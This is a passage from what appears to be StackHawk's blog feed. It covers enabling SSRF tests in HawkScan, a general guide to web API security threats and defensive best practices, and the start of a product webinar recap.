development lifecycle. Next, we will look at exactly how simple it is to configure StackHawk to begin testing your applications for potential SSRF vulnerabilities.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Enabling SSRF Detection in HawkScan&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Enabling SSRF detection in StackHawk is easy. Once you have StackHawk up and running, you can go to the &lt;b&gt;Applications&lt;/b&gt; screen and click on the &lt;b&gt;Settings&lt;/b&gt; link for your application.&lt;/p&gt;&lt;p&gt;Next, on the &lt;b&gt;Settings&lt;/b&gt; screen, under &lt;b&gt;HawkScan Settings&lt;/b&gt;, click the &lt;b&gt;Applied Policy&lt;/b&gt; dropdown and select the &amp;quot;Production-Safe&amp;quot; policy.&lt;/p&gt;&lt;p&gt;Next, click the &lt;b&gt;Customize Policy&lt;/b&gt; button right beside the dropdown.&lt;/p&gt;&lt;p&gt;On the next screen, under the &lt;b&gt;Plugins and Tests&lt;/b&gt; section, click on the &lt;b&gt;SSRF&lt;/b&gt; entry to enable HawkScan to execute tests for potential SSRF vulnerabilities.&lt;/p&gt;&lt;p&gt;When you run your tests with StackHawk, they will include testing for potential SSRF vulnerabilities!&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Understanding SSRF is a crucial first step in securing your web applications, but implementing robust input validation and sanitization mechanisms in the real world can be complex. The key lies in empowering your developers with the tools and knowledge they need to build security into the core of your application design.&lt;/p&gt;&lt;p&gt;StackHawk goes beyond simply identifying potential SSRF vulnerabilities in your running application. It bridges the gap between detection and remediation by providing clear explanations, actionable guidance, and seamless integration into your existing development workflows. This collaborative approach makes web application security less intimidating and helps developers instill secure coding practices.&lt;/p&gt;&lt;p&gt;By proactively using StackHawk to detect and address SSRF vulnerabilities, you can significantly minimize the risks of this common API threat.&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;Sign up for a 14-day free trial&lt;/u&gt;&lt;/a&gt; of StackHawk today to experience the difference StackHawk makes in detecting SSRF vulnerabilities and other API security issues outlined in the OWASP API Top 10.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Web API Security: Essential Strategies and Best Practices]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/web-api-security-essential-strategies-and-best-practices</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In software development,&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-an-api-a-beginners-guide-to-application-programming-interfaces/&quot;&gt; &lt;u&gt;APIs (Application Programming Interfaces)&lt;/u&gt;&lt;/a&gt; are at the core of modern applications. They enable communication and data exchange between different software components, enabling users and services to access data, leverage external services, engage in data transfer, and much more.&lt;/p&gt;&lt;p&gt;However, the increased reliance on APIs has made them prime targets for malicious actors. API security breaches can have devastating consequences, including data leaks, system compromise, and financial losses. Potential security threats continue to develop methods of attack, targeting providers ranging from Twitter to the US Department of State.&lt;/p&gt;&lt;p&gt;In this article, we’ll explore the world of web API security, exploring the essential strategies and best practices that developers and organizations can implement to safeguard their APIs and protect sensitive data.&lt;/p&gt;&lt;p&gt;From understanding the common API security threats to implementing robust security measures and staying ahead of emerging trends, we’ll provide you with a comprehensive guide to strengthen your API ecosystem.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding API Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs act as gateways to your application’s data and functionality, making them attractive targets for hackers. If not adequately secured,&lt;a href=&quot;https://www.theregister.com/2022/06/20/captial_one_wire_fraud/&quot;&gt; &lt;u&gt;APIs can become entry points for unauthorized access&lt;/u&gt;&lt;/a&gt;, data breaches, and other malicious activities.&lt;/p&gt;&lt;p&gt;Proper API security involves implementing a multi-layered approach to protect your APIs from attacks. This includes securing the API endpoints, managing security protocols like TLS on your web server, authentication and authorization mechanisms, input validation, and encryption of sensitive data.&lt;/p&gt;&lt;p&gt;APIs often handle sensitive data, such as&lt;a href=&quot;https://docs.stackhawk.com/vulnerabilities/10062/&quot;&gt; &lt;u&gt;Personally Identifiable Information (PII)&lt;/u&gt;&lt;/a&gt;, financial information, and intellectual property. Prioritizing API security is crucial for ensuring the confidentiality, integrity, and availability of your data. By implementing robust security measures, you can protect your users, your business, and your reputation.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Security Threats&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The threat landscape surrounding APIs continues to evolve, with attackers deploying increasingly sophisticated techniques. Understanding the most prevalent API security threats is crucial for safeguarding these vital interfaces.&lt;/p&gt;&lt;p&gt;From&lt;a href=&quot;https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;injection attacks&lt;/u&gt;&lt;/a&gt; to&lt;a href=&quot;https://docs.stackhawk.com/vulnerabilities/10098/&quot;&gt; &lt;u&gt;security misconfigurations&lt;/u&gt;&lt;/a&gt;, each threat presents unique challenges that require proactive measures. By recognizing these risks and implementing robust security practices, organizations can protect their APIs and ensure the integrity of their systems.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Injection Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Injection attacks are a persistent API security threat, exploiting input validation vulnerabilities where attackers inject malicious code or commands into API requests, aiming to manipulate the system. Common examples include SQL injection, where attackers manipulate database queries, and&lt;a href=&quot;https://www.stackhawk.com/blog/react-command-injection-examples-and-prevention/&quot;&gt; &lt;u&gt;command injection&lt;/u&gt;&lt;/a&gt;, where they attempt to execute system commands on the API server.&lt;/p&gt;&lt;p&gt;These attacks bypass traditional security, directly interacting with the system, often with devastating consequences. Protection requires robust input validation, sanitization, and parameterized queries or prepared statements.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Broken Authentication and Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Authentication verifies a user&amp;#39;s identity, while authorization determines their access privileges. Weak or flawed implementation of these mechanisms can lead to unauthorized access and data breaches. Attackers might exploit vulnerabilities to bypass authentication, impersonate legitimate users, or escalate their privileges, gaining access to sensitive information or critical functionalities.&lt;/p&gt;&lt;p&gt;Broken authentication might involve vulnerabilities in password storage, session management, or token handling, allowing attackers to bypass logins or impersonate users.&lt;/p&gt;&lt;p&gt;Broken authorization can manifest at both the function and object levels.&lt;a href=&quot;https://www.stackhawk.com/blog/finding-and-fixing-bfla-vulnerabilities-in-nodejs-with-stackhawk/&quot;&gt; &lt;b&gt;&lt;u&gt;Broken Function Level Authorization (BFLA)&lt;/u&gt;&lt;/b&gt;&lt;/a&gt; occurs when APIs fail to enforce proper access controls at specific endpoints, allowing unauthorized actions. Meanwhile,&lt;a href=&quot;https://www.stackhawk.com/blog/understanding-and-protecting-against-api1-broken-object-level-authorization/&quot;&gt; &lt;b&gt;&lt;u&gt;Broken Object Level Authorization (BOLA)&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; &lt;/b&gt;arises when APIs lack adequate checks to restrict access to data within the system, allowing attackers to view or modify data they shouldn&amp;#39;t have access to.&lt;/p&gt;&lt;p&gt;These flaws can have severe consequences, enabling privilege escalation, data access, or malicious actions. Implementing robust authentication and authorization mechanisms,&lt;a href=&quot;https://www.stackhawk.com/blog/golang-broken-access-control-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;role-based access control&lt;/u&gt;&lt;/a&gt;, and granular permissions, is essential to mitigate these risks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Excessive Data Exposure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;APIs might inadvertently expose more data than necessary, including sensitive information that attackers could exploit, this common threat is known as excessive data exposure. Developers must be vigilant for overly permissive access controls, improper filtering of responses, or failure to mask sensitive data.&lt;/p&gt;&lt;p&gt;Providers should be aware of the data managed by their APIs, as well as external data source security vulnerabilities, such as those facing third party services underpinning data processing, web servers, or other API providers used as partners to provide services. Awareness is a key component of data security, so check often and validate your understanding! Data leaks can have serious consequences, including privacy violations and compliance issues.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Lack of Resources and Rate Limiting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Without proper resource management and rate limiting, APIs become vulnerable to&lt;a href=&quot;https://www.paloaltonetworks.com/cyberpedia/what-is-a-denial-of-service-attack-dos&quot;&gt; &lt;u&gt;denial-of-service (DoS) attacks&lt;/u&gt;&lt;/a&gt;, attackers can exploit this weakness by flooding the API with excessive requests, consuming its resources, and making it unavailable to legitimate users. This disruption can impact business operations, causing downtime, financial losses, and damage to the user experience.&lt;/p&gt;&lt;p&gt;Implementing rate limiting and resource controls is essential to mitigate this risk, ensuring fair access to API resources and protecting against malicious attempts to overload the system.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security Misconfigurations&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Misconfigurations in API settings, such as exposing sensitive endpoints, using default credentials, or leaving debugging features enabled create exploitable vulnerabilities for attackers. These misconfigurations can arise from human error, lack of oversight, or inadequate security practices during development and deployment.&lt;/p&gt;&lt;p&gt;Understanding these common API security threats is essential for developers and organizations to implement proactive measures to protect their APIs. Staying informed about the latest attack techniques and vulnerabilities enables you to develop a stronger security strategy and protect your valuable data and applications.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Protecting Sensitive Data&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs often handle sensitive information, making them a prime target for malicious actors seeking to exploit valuable data. Implementing robust security measures is critical to protect this sensitive data from unauthorized access and breaches. Here are some key strategies to consider.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Encryption&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Encrypting data both at rest and in transit adds a critical layer of protection. Even if data is intercepted, it remains unreadable without the decryption keys. Utilizing strong encryption algorithms and practicing secure key management is vital to ensuring the confidentiality of your data.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Data Minimization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.kiteworks.com/risk-compliance-glossary/data-minimization/&quot;&gt;&lt;u&gt;Collect and store only the sensitive data necessary&lt;/u&gt;&lt;/a&gt; for your API&amp;#39;s functionality. By minimizing the amount of sensitive data handled, you reduce the potential impact of a breach. Remember, &lt;i&gt;every piece of data you collect increases your attack surface&lt;/i&gt;.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Access Control&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Implement granular access controls to restrict access to sensitive data based on user roles and permissions. Ensure that only authorized users have access to specific data sets and functionalities. Strong access control systems ensure that only authorized users can access protected resources, safeguarding sensitive data.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Tokenization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.mckinsey.com/featured-insights/mckinsey-explainers/what-is-tokenization&quot;&gt;&lt;u&gt;Tokenization&lt;/u&gt;&lt;/a&gt; replaces sensitive data with unique tokens that have no intrinsic value. In the event of a breach, the tokens are useless to attackers, significantly reducing the risk of exposing actual sensitive information.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Masking&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Obfuscate or mask sensitive data when displaying it to users or third-party systems. This practice helps protect sensitive information from accidental exposure. For example, when displaying a credit card number only show the last four digits.&lt;/p&gt;&lt;p&gt;By strategically implementing these protective measures, you can reduce the risk of sensitive data exposure and ensure the privacy and security of your user&amp;#39;s information. Safeguarding sensitive data isn&amp;#39;t just about compliance; it&amp;#39;s about building trust and protecting the individuals who rely on your applications.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Securing API Requests&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Protecting your API endpoints from malicious requests is crucial to prevent unauthorized access and potential attacks. Implementing a combination of techniques can improve your API request handling.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Input Validation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This is the first step in protecting your API. By validating all incoming API requests to ensure they conform to expected formats and data types, you can proactively reject any requests that contain invalid or malicious input.&lt;/p&gt;&lt;p&gt;This prevents potentially harmful data from reaching your system and causing unintended consequences.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Sanitization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This acts as a protective filter, removing any potentially harmful characters or scripts from user input that could be used in injection attacks, thus ensuring the integrity of the API.&lt;/p&gt;&lt;p&gt;It&amp;#39;s best practice to use parameterized queries or&lt;a href=&quot;https://www.stackhawk.com/blog/lua-sql-injection-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;prepared statements&lt;/u&gt;&lt;/a&gt; to protect against SQL injection attacks. This approach helps separate user input from the actual SQL commands, making it more difficult for attackers to inject malicious code into your database queries.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Output encoding&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This is key to prevent&lt;a href=&quot;https://www.stackhawk.com/blog/react-xss-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;cross-site scripting (XSS) attacks&lt;/u&gt;&lt;/a&gt;. By properly encoding API responses, you can convert special characters into their corresponding HTML entities, rendering them harmless if they are injected into a web page. This helps prevent attackers from executing malicious scripts in the context of your application.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Rate Limiting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Finally, implementing rate limiting is critical to preventing denial-of-service (DoS) attacks and abuse of your API resources. By restricting the number of requests a user or IP address can make within a specified timeframe, you can prevent attackers from overwhelming your API with excessive requests.&lt;/p&gt;&lt;p&gt;By incorporating these techniques into your API security strategy, you can create a more secure environment for handling API requests, making it significantly more difficult for attackers to exploit vulnerabilities and gain unauthorized access.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Security Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Regularly testing your APIs for security vulnerabilities is crucial for staying ahead of potential threats. It allows you to proactively identify and address weaknesses before malicious actors can exploit them. One approach is &lt;b&gt;penetration testing,&lt;/b&gt; where security professionals simulate real-world attacks on your APIs.&lt;/p&gt;&lt;p&gt;This hands-on approach uncovers vulnerabilities and helps assess the effectiveness of your existing security measures. Another valuable technique is&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-rest-api-testing-tools-and-best-practices-for-success/&quot;&gt; &lt;b&gt;&lt;u&gt;fuzz testing&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; &lt;/b&gt;where your API endpoints are subjected to a barrage of malformed or unexpected inputs, you can uncover potential weaknesses in how your API handles unexpected data.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Static code analysis&lt;/b&gt; is also important, your codebase is scanned with specialized tools that can help identify security flaws and vulnerabilities early in the development process, saving time and effort later on. Finally,&lt;a href=&quot;https://www.stackhawk.com/blog/how-does-stackhawk-work/&quot;&gt; &lt;b&gt;&lt;u&gt;dynamic application security testing (DAST)&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;, using tools like StackHawk, provides real-time vulnerability scanning of your running APIs. This approach helps catch security issues that might only become apparent during runtime interactions.&lt;/p&gt;&lt;p&gt;Combining regular API security testing with continuous monitoring and effective vulnerability management helps you create a resilient API ecosystem, ready to face the evolving threat landscape.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security Testing with StackHawk&lt;/b&gt;
&lt;/h3&gt;&lt;p&gt;StackHawk is a powerful API security testing platform designed specifically for developers. It seamlessly integrates into your development workflow, offering continuous security testing and vulnerability detection without disrupting your existing processes.&lt;/p&gt;&lt;p&gt;This integration helps identify and fix security risks early in the development process. Some key benefits to using StackHawk include:&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Automate API Security Testing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;StackHawk automates the testing and testing of your APIs, making it easy to incorporate security testing into your&lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt; &lt;u&gt;CI/CD pipeline&lt;/u&gt;&lt;/a&gt;. This helps identify vulnerabilities early, reducing the risk of security breaches and saving valuable development time.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Get Real-time Feedback&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;StackHawk provides&lt;a href=&quot;https://www.stackhawk.com/blog/accelerating-security-with-stackhawk-reducing-distance-maximizing-speed/&quot;&gt; &lt;u&gt;instant feedback&lt;/u&gt;&lt;/a&gt; on identified vulnerabilities, along with detailed remediation guidance. This actionable information empowers developers to understand the nature of the vulnerability, assess its potential impact, and implement the necessary fixes promptly and effectively. By addressing security issues early, developers can maintain a high level of security throughout the development process.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Customized Testing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Tailor your API security tests to focus on specific areas of concern, such as compliance with industry standards like&lt;a href=&quot;https://www.pcisecuritystandards.org/standards/&quot;&gt; &lt;u&gt;PCI DSS&lt;/u&gt;&lt;/a&gt; or&lt;a href=&quot;https://www.hhs.gov/hipaa/for-professionals/privacy/laws-regulations/index.html&quot;&gt; &lt;u&gt;HIPAA&lt;/u&gt;&lt;/a&gt;, or target specific vulnerabilities like the&lt;a href=&quot;https://www.stackhawk.com/solutions/owasp-top-10/&quot;&gt; &lt;u&gt;OWASP Top 10&lt;/u&gt;&lt;/a&gt;. This allows you to prioritize critical vulnerabilities and ensure your APIs meet industry standards.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Collaborate Seamlessly&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;StackHawk fosters collaboration between developers and security teams. It provides a centralized platform where both teams can access test results, track remediation progress, and share insights. This collaborative approach promotes shared responsibility for API security and facilitates a smooth and efficient resolution of security issues.&lt;/p&gt;&lt;p&gt;By&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;incorporating StackHawk&lt;/u&gt;&lt;/a&gt; into your development process, you can proactively identify and fix API vulnerabilities, building more secure and resilient applications from the ground up.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Security Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To ensure the robust security of your APIs, consider implementing these essential best practices:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Strong authentication and authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Implement authentication mechanisms like OAuth 2.0 or OpenID Connect, and implement role-based access control (RBAC) to restrict access to specific API resources based on user roles and permissions.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Input validation and sanitization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Ensure all incoming API requests are validated and sanitized to prevent injection attacks and other malicious activities.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Error handling and logging&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Implement proper error handling and logging mechanisms to capture and analyze API errors and exceptions. This helps identify potential security issues and provides valuable insights for troubleshooting and incident response.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Regular security updates and patching&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Keep your API frameworks, libraries, and dependencies up to date with the latest security patches and updates. This helps mitigate known vulnerabilities and protect against emerging threats.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security awareness and training&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Educate your development and operations teams on API security best practices and the latest threats. Encourage a culture of security throughout your organization.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Encrypt data in transit with TLS&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Always use TLS (Transport Layer Security) to encrypt data transmitted between clients and your API. This prevents eavesdropping and tampering with sensitive information.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Implement rate limiting and throttling&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Protect your API from abuse and denial-of-service attacks by limiting the number of requests a user or IP address can make within a given time frame.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Use an API gateway&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API gateways can act as a central control for your APIs, providing features like authentication, authorization, rate limiting, and traffic management. This helps simplify security management and provides a unified interface for accessing and managing your web APIs.&lt;/p&gt;&lt;p&gt;Following these best practices and staying informed about the latest API security trends, you can build and maintain a secure API ecosystem that protects your data, users, and business.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Advanced API Security Topics&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security strategies must keep up with the increasing complexity of cyberattacks. The core security measures we&amp;#39;ve discussed provide a strong foundation, but truly robust API protection requires going beyond the basic security measures. These advanced topics address the evolving threats and architectural complexities of modern applications.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Zero Trust Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.crowdstrike.com/cybersecurity-101/zero-trust-security/&quot;&gt;&lt;u&gt;Zero Trust Security&lt;/u&gt;&lt;/a&gt; rejects the traditional model of implicit trust within networks, adhering to the principle of &amp;quot;never trust, always verify.&amp;quot; Verifying every request, regardless of origin, zero trust minimizes the potential for unauthorized access and lateral movement within your network, even after a breach.&lt;/p&gt;&lt;p&gt;For APIs, this means implementing strict access controls, multi-factor authentication, and granular authorization policies. It also involves continuous monitoring to identify anomalies and threats. Embracing zero trust protects your APIs against unauthorized access, ensuring every interaction is scrutinized.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Gateway&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;An&lt;a href=&quot;https://www.stackhawk.com/blog/how-does-an-api-gateway-improve-security-a-leaders-guide/&quot;&gt; &lt;u&gt;API gateway&lt;/u&gt;&lt;/a&gt; is a powerful intermediary, that efficiently manages all API traffic. It consolidates security controls, traffic management, and monitoring capabilities, simplifying security and streamlining API access. Functioning as a central hub, it handles authentication, authorization, rate limiting, and provides a unified interface for managing and monitoring your APIs. This simplifies security and improves overall performance and reliability.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Artificial Intelligence and Machine Learning&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Artificial intelligence (AI) and machine learning (ML) are revolutionizing API security. These technologies analyze vast API traffic data, detecting subtle patterns and anomalies that signal malicious activity. They continuously learn normal behavior and flag deviations, such as unusual requests or access attempts. ML models can also recognize specific attack patterns, enabling real-time threat detection and mitigation.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;DevSecOps&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/solutions/devsecops/&quot;&gt;&lt;u&gt;DevSecOps&lt;/u&gt;&lt;/a&gt; is a cultural and technical shift that integrates security practices into every stage of the DevOps process. This approach fosters collaboration between development, security, and operations teams, promoting shared responsibility for security. By embedding security testing and analysis into the CI/CD pipeline and automating security checks, DevSecOps enables faster and more secure releases.&lt;/p&gt;&lt;p&gt;Vulnerabilities are identified and addressed early, reducing the cost and complexity of remediation. This proactive approach ensures that security is not an afterthought but a foundational element of the development process, leading to more secure and resilient APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Object Level Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Fine-grained object-level authorization in your APIs ensures users access only the data or resources they are authorized to. Improper implementation can lead to&lt;a href=&quot;https://www.stackhawk.com/blog/finding-and-fixing-bola-vulnerabilities-in-nodejs-with-stackhawk/&quot;&gt; &lt;u&gt;Broken Object Level Authorization (BOLA)&lt;/u&gt;&lt;/a&gt; vulnerabilities, allowing attackers to bypass restrictions and access or manipulate unauthorized data.&lt;/p&gt;&lt;p&gt;To prevent BOLA, it&amp;#39;s important to define and enforce clear access control policies at the object level and regularly review and update them to adapt to changing user roles and data sensitivity.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Service Meshes&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://aws.amazon.com/what-is/service-mesh/&quot;&gt;&lt;u&gt;Service meshes&lt;/u&gt;&lt;/a&gt; address the complexity of microservices architectures, enhancing API security and observability. They are a dedicated communication layer, offering features like traffic encryption, authentication, authorization, and monitoring.&lt;/p&gt;&lt;p&gt;Centralized control ensures that every API call is protected by enforcing consistent security policies across all services. Service meshes provide insights into microservices behavior, aiding performance optimization and threat detection. Adopting a service mesh enhances your API&amp;#39;s resilience and simplifies management in a distributed environment.&lt;/p&gt;&lt;p&gt;By understanding and implementing these advanced API security topics, you can strengthen your API security posture, stay ahead of potential threats, and ensure the confidentiality, integrity, and availability of your valuable data and services.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Emerging Trends and Technologies&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security is constantly, evolving as new technologies emerge and attackers refine their tactics. To stay ahead of the curve and ensure your APIs remain resilient, staying up to date on the latest trends and innovations is essential.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;GraphQL Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As GraphQL adoption grows, it introduces unique security challenges due to its flexible query structure. This flexibility can be exploited through overly complex queries, leading to potential Denial of Service (DoS) attacks or unintended data exposure.&lt;/p&gt;&lt;p&gt;To mitigate these risks, it is essential to&lt;a href=&quot;https://www.stackhawk.com/blog/graphql-security/&quot;&gt; &lt;u&gt;implement query depth limits and rigorous input validation&lt;/u&gt;&lt;/a&gt;. Proper authentication, authorization, and rate limiting are crucial to safeguard access to the API. Restricting schema introspection in production environments further minimizes the exposure of sensitive information.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Serverless API Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The rise of serverless architectures offers scalability and flexibility but introduces unique security challenges. Serverless functions, often triggered by events, have a broad attack surface, making robust security essential. Key concerns include&lt;a href=&quot;https://www.stackhawk.com/blog/serverless-security-api-testing/&quot;&gt; &lt;u&gt;securing event triggers, managing authentication and authorization, and validating inputs&lt;/u&gt;&lt;/a&gt; to prevent attacks like function event-data injection.&lt;/p&gt;&lt;p&gt;Additionally, the use of third-party dependencies in serverless environments can introduce vulnerabilities. It&amp;#39;s crucial to assess and secure these dependencies to avoid potential exploits. Monitoring and logging are also vital in a serverless context, where traditional security boundaries are less defined.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Security Automation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/solutions/dast/&quot;&gt;&lt;u&gt;Automation is essential in modern API security&lt;/u&gt;&lt;/a&gt;, enabling continuous protection and faster responses to vulnerabilities. By integrating automated security checks into the CI/CD pipeline, organizations can ensure that every code change undergoes rigorous testing. This approach allows for real-time detection of security issues and reduces the time needed for remediation.&lt;/p&gt;&lt;p&gt;Automation tools can handle repetitive tasks like vulnerability scanning, compliance checks, and threat detection, freeing security teams to focus on more complex challenges. By leveraging automation, organizations can maintain robust API security in a fast-paced development environment.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Blockchain and Decentralized APIs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Blockchain technology&amp;#39;s inherent immutability and transparency offer promising benefits for API security. By creating tamper-proof logs of API transactions, blockchain ensures data integrity and enables auditable interactions. This approach can significantly reduce the risk of data tampering and fraud.&lt;/p&gt;&lt;p&gt;Decentralized APIs further enhance security by eliminating single points of failure, making systems more resilient against attacks. Because multiple nodes handle API requests, the risk of downtime or breaches is minimized, providing a more robust security framework.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;AI and ML for Enhanced API Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Artificial intelligence (AI) and machine learning (ML) are transforming API security by enabling more sophisticated threat detection and response. These technologies can analyze vast amounts of API traffic in real time, identifying subtle patterns and anomalies that might indicate potential threats. Unlike traditional rule-based methods, AI and ML can adapt to new attack vectors, providing proactive defense mechanisms.&lt;/p&gt;&lt;p&gt;By predicting and mitigating threats before they can cause harm, AI and ML enhance the overall security posture of APIs. Their ability to learn from past incidents and continuously improve makes them invaluable tools in safeguarding modern APIs.&lt;/p&gt;&lt;p&gt;Staying informed about these emerging trends and technologies allows you to proactively adjust your API security strategy and maintain a strong defense against emerging threats.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security is a critical aspect of modern software development. By understanding the common threats, implementing robust security measures, and staying informed about emerging trends, you can safeguard your APIs and protect sensitive data.&lt;/p&gt;&lt;p&gt;As part of your development cycles, regularly test your APIs for vulnerabilities, monitor for suspicious activity, and continuously update your security practices to ensure the long-term resilience of your API ecosystem. By prioritizing API security and making it an integral part of your development lifecycle, you can build trust with your users, protect your business, and foster innovation in the digital landscape.&lt;/p&gt;&lt;p&gt;To get a head start on your API security, &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;sign up for StackHawk today&lt;/a&gt; to quickly test and identify issues that could impact the security of your applications. Set up, test, and remedy vulnerabilities with StackHawk&amp;#39;s modern DAST platform in minutes.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk API Discovery Webinar: Key Insights]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-api-discovery-webinar-key-insights</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Kaitlyn Marler]]></dc:creator><content:encoded>&lt;p&gt;In our latest webinar “Discover your Attack Surface in 15 Minutes”, StackHawk&amp;#39;s VP of Engineering, Dan Hopkins, Chief Security Officer, Scott Gerlach, and Solutions Architect, April Conger, unveiled StackHawk’s new API Discovery feature. The session emphasized the increasingly complex landscape of API security, highlighting the critical need for effective solutions. From the increasing volume of API production to the evolving threat landscape, organizations face unprecedented challenges in managing their APIs attack surface.&lt;/p&gt;&lt;p&gt;StackHawk&amp;#39;s API Discovery feature sets itself apart by providing a comprehensive view of an organization&amp;#39;s entire API attack surface. Unlike traditional discovery tools that rely solely on production monitoring, StackHawk&amp;#39;s innovative approach analyzes APIs directly from the source code. This deeper level of visibility empowers organizations to identify and address security 